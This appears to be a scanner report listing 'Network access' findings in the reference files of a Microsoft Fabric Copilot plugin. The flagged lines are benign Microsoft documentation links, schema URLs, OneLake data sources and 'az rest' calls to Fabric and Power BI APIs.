    > - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections)
  • Network accessline 11
    > - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 18
    - Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 20
    - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 31
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection
  • Network accessline 87
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections"
  • Network accessline 97
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 98
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 99
    --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 106
    If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing.
  • Network accessline 130
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \
  • Network accessline 185
    - Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t
  • Network accessline 186
    - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`
  • Network accessline 187
    - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-decision-guide.md

  • Network accessline 382
    - [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events)
  • Network accessline 383
    - [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/)
  • Network accessline 384
    - [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/dax-perf-patterns.md

  • Network accessline 804
    Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co
  • Network accessline 806
    - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/direct-lake-guidelines.md

  • Network accessline 34
    let     Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 35
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 44
    expression 'DL_Sales_Named_Expression' = 		let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 45
    let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) 		in
  • Network accessline 46
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/metadata-discovery.md

  • Network accessline 182
    - **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results.   - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf
  • Network accessline 184
    - **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/pbip.md

  • Network accessline 38
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 39
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 46
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details.
  • Network accessline 57
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 58
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 71
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 72
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 86
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details.
  • Network accessline 95
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 96
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 111
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details.
  • Network accessline 117
    - [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview)
  • Network accessline 118
    - [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset)
  • Network accessline 119
    - [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md

  • Network accessline 33
    **Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation.
  • Network accessline 140
    > **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/semantic-model-rest-api.md

  • Network accessline 8
    API_FABRIC="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    API_PBI="https://api.powerbi.com/v1.0/myorg"
  • Network accessline 10
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 11
    RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 22
    | API                   | Audience (`--resource`)                    | Use For                                                                      | | --------------------- | ------------------------------------------ | -------------------
  • Network accessline 23
    | --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/d
  • Network accessline 24
    | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/delete semantic model definitions, list items, LRO polling |
  • Network accessline 25
    | Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties       |
  • Network accessline 78
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 147
    # 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 148
    RESPONSE=$(az rest --method post --verbose    --resource "https://api.fabric.microsoft.com"
  • Network accessline 149
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 185
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 186
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 187
    --resource "https://api.fabric.microsoft.com" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/tmdl-guidelines.md

  • Network accessline 124
    expression DL_Lakehouse = 	let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
  • Network accessline 125
    let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) 	in
  • Network accessline 126
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring.md

  • Network accessline 43
    | Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) || | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authenticat
  • Network accessline 44
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 45
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 218
    {"displayName": "DataEng-Dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 219
    EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 220
    workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 221
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 225
    {"displayName": "DevLakehouse", "type": "Lakehouse", "creationPayload": {"enableSchemas": true}} EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 226
    EOF lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
  • Network accessline 227
    lakehouse_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 228
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
  • Network accessline 313
    {"name": "dev-session", "driverMemory": "56g", "driverCores": 8, "executorMemory": "56g", "executorCores": 8, "conf": {"spark.dynamicAllocation.enabled": "true", "spark.fabric.pool.name": "Starter Pool"}} EOF az rest --method post --resourc
  • Network accessline 314
    EOF az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \
  • Network accessline 315
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 316
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/lakehouses/$lakehouse_id/livyapi/versions/2023-12-01/sessions" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/data-engineering-patterns.md

  • Network accessline 365
    > **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable
  • Network accessline 365
    > **⚠<U+FE0F> Public Preview**: [Fabric Runtime 2.0](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime-2-0) (Spark 4.1, Delta Lake 4.x) is in **Public Preview**. Delta Lake 4.x features are experimental and should **not** be enable
  • Network accessline 367
    **Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) 
  • Network accessline 367
    **Native Execution Engine (NEE):** Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) 
  • Network accessline 368
    Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks.
  • Network accessline 368
    Significant performance improvement over open-source Spark via vectorized C++ execution. See [NEE documentation](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) for current benchmarks.
  • Network accessline 392
    **Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it
  • Network accessline 392
    **Efficient Scaledown (Remote Shuffle Manager):** Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it
  • Network accessline 393
    Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume
  • Network accessline 393
    Decouples shuffle data from executor lifetime for improved compute efficiency. Requires NEE enabled (set at session start, above). Set the full stack at session start via `%%configure` so it applies before Spark initializes. See [RSM docume
  • Network accessline 430
    See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference)
  • Network accessline 430
    See [Liquid clustering — Configuration reference](https://learn.microsoft.com/fabric/data-engineering/liquid-clustering#configuration-reference)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/development-workflow.md

  • Network accessline 64
    | Topic | Fetch URL | Keywords | |---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `execu
  • Network accessline 65
    |---|---|---| | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `execu
  • Network accessline 66
    | %%configure magic command | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#spark-session-configuration-magic-command | `%%configure`, `driverMemory`, `executorMemory`, `driverCores`, `executorCores`, `nu
  • Network accessline 67
    | Parameterized %%configure from pipeline | https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#parameterized-session-configuration-from-a-pipeline | `parameterName`, `defaultValue`, pipeline notebook activity,
  • Network accessline 68
    | Spark compute (pools, node sizes, autoscale) | https://learn.microsoft.com/en-us/fabric/data-engineering/spark-compute | starter pool, custom Spark pool, node size (Small/Medium/Large/XL/XXL), vCores, autoscale, dynamic allocation, capaci

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/materialized-lake-view-patterns.md

  • Network accessline 324
    > See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations.
  • Network accessline 324
    > See the [Spark SQL Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view) for the complete and current list of limitations.
  • Network accessline 343
    > See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations.
  • Network accessline 343
    > See the [PySpark Reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark) for notebook organization best practices and current limitations.
  • Network accessline 354
    > instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 354
    > instead of orchestrating refresh from notebooks: > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 355
    > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — >   Fabric derives dependency order from MLV definitions automatically.
  • Network accessline 355
    > > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** — >   Fabric derives dependency order from MLV definitions automatically.
  • Network accessline 356
    > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 356
    > - **[Lineage](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage)** —
  • Network accessline 358
    >   Open the Materialized lake views tab → Manage to view the graph and >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 358
    >   Open the Materialized lake views tab → Manage to view the graph and >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 359
    >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — >   Create one or more schedules to refresh all MLVs or a selected subset.
  • Network accessline 359
    >   follow a run in progress. > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** — >   Create one or more schedules to refresh all MLVs or a selected subset.
  • Network accessline 360
    > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 360
    > - **[Scheduled refresh](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run)** —
  • Network accessline 371
    - Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe
  • Network accessline 371
    - Repeat cadence: minute, hourly, daily, weekly, or monthly - **Optimal refresh** toggle (default On): Fabric automatically picks incremental or full refresh per view - **Extended lineage**: refresh chains across multiple lakehouses in depe
  • Network accessline 373
    - **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the
  • Network accessline 373
    - **Extended lineage**: refresh chains across multiple lakehouses in dependency order from a single schedule. When MLVs in Lakehouse B depend on tables in Lakehouse A, a single schedule on Lakehouse B refreshes Lakehouse A's MLVs first, the
  • Network accessline 375
    Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change):
  • Network accessline 375
    Key behaviors (per current Fabric documentation — confirm against the [refresh reference](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view) as platform limits may change):
  • Network accessline 379
    For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie
  • Network accessline 379
    For programmatic schedule management (create/update/delete schedules, trigger on-demand refresh via code), use the [MLV Public REST API](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-vie
  • Network accessline 451
    | Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 451
    | Topic | URL | Keywords | |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 452
    |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co
  • Network accessline 452
    |---|---|---| | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations | | Get started | https://learn.microsoft.co
  • Network accessline 453
    | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 453
    | MLV overview | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/overview-materialized-lake-view | overview, capabilities, when to use, limitations |
  • Network accessline 454
    | Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup |
  • Network accessline 454
    | Get started | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/get-started-with-materialized-lake-views | quickstart, create MLV, first MLV, CDF setup |
  • Network accessline 455
    | Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics |
  • Network accessline 455
    | Medallion tutorial | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/tutorial | medallion architecture, bronze-silver-gold, sales analytics |
  • Network accessline 456
    | Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF |
  • Network accessline 456
    | Optimal refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view | incremental refresh, full refresh, no refresh, optimal refresh, CDF |
  • Network accessline 457
    | Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations |
  • Network accessline 457
    | Spark SQL reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view | CREATE, DROP, SHOW, ALTER, syntax, limitations |
  • Network accessline 458
    | PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations |
  • Network accessline 458
    | PySpark reference | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/create-materialized-lake-view-pyspark | PySpark, full refresh, UDFs, complex transformations |
  • Network accessline 459
    | Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle |
  • Network accessline 459
    | Schedule refresh | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/schedule-lineage-run | schedule, lineage, cross-lakehouse, optimal refresh toggle |
  • Network accessline 460
    | Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage |
  • Network accessline 460
    | Manage lineage | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/view-lineage | lineage view, dependency graph, extended lineage |
  • Network accessline 461
    | REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD |
  • Network accessline 461
    | REST API management | https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/materialized-lake-views-public-api | REST API, on-demand refresh, schedule CRUD |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/mlv-incremental-refresh-patterns.md

  • Network accessline 29
    These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte
  • Network accessline 29
    These SQL patterns are compatible with incremental refresh per the [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supporte
  • Network accessline 30
    [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh):
  • Network accessline 30
    [official supported constructs list](https://learn.microsoft.com/en-us/fabric/data-engineering/materialized-lake-views/refresh-materialized-lake-view#sql-constructs-supported-by-incremental-refresh):
  • Network accessline 36
    | `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for
  • Network accessline 36
    | `GROUP BY` with simple columns | `SELECT region, status, COUNT(*) FROM src GROUP BY region, status` | Keep grouping keys simple | | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for
  • Network accessline 37
    | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri
  • Network accessline 37
    | `INNER JOIN` | `SELECT a.id, b.name FROM src_a a INNER JOIN src_b b ON a.id = b.id` | Safest join type for IR | | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the ri
  • Network accessline 38
    | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat
  • Network accessline 38
    | `LEFT OUTER JOIN` | `SELECT a.*, b.name FROM src_a a LEFT JOIN src_b b ON a.id = b.id` | Supported — IR works only if the right-side table remains unchanged during the refresh cycle ([MS Learn](https://learn.microsoft.com/en-us/fabric/dat

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/authoring/resources/notebook-api-operations.md

  • Network accessline 26
    - Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json
  • Network accessline 26
    - Official schema (nbformat v4): https://github.com/jupyter/nbformat/blob/main/nbformat/v4/nbformat.v4.schema.json
  • Network accessline 221
    | 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str
  • Network accessline 221
    | 400 | Bad Request: invalid base64 | Malformed base64 or wrong encoding | Verify with `base64 --decode` before uploading; use standard Base64 (not URL-safe) | | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON str
  • Network accessline 222
    | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso
  • Network accessline 222
    | 400 | Invalid notebook format | `.ipynb` JSON is malformed | Validate JSON structure; ensure `nbformat`, `cells`, and `metadata` keys are present | | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--reso
  • Network accessline 223
    | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set |
  • Network accessline 223
    | 401 | Unauthorized | Expired or wrong token audience | Re-run `az login`; ensure `--resource https://api.fabric.microsoft.com` is set |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/consumption.md

  • Network accessline 22
    | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — *READ link first* [needed for finding workspace id b
  • Network accessline 23
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 24
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli/references/mlv.md

  • Network accessline 83
    | Job Scheduling | [COMMON-CLI.md § Job Scheduling](../../../common/COMMON-CLI.md#job-scheduling) | URL is `/jobs/{jobType}/schedules`; `endDateTime` required | | Job Execution | [COMMON-CLI.md § Job Execution](../../../common/COMMON-CLI.md
  • Network accessline 84
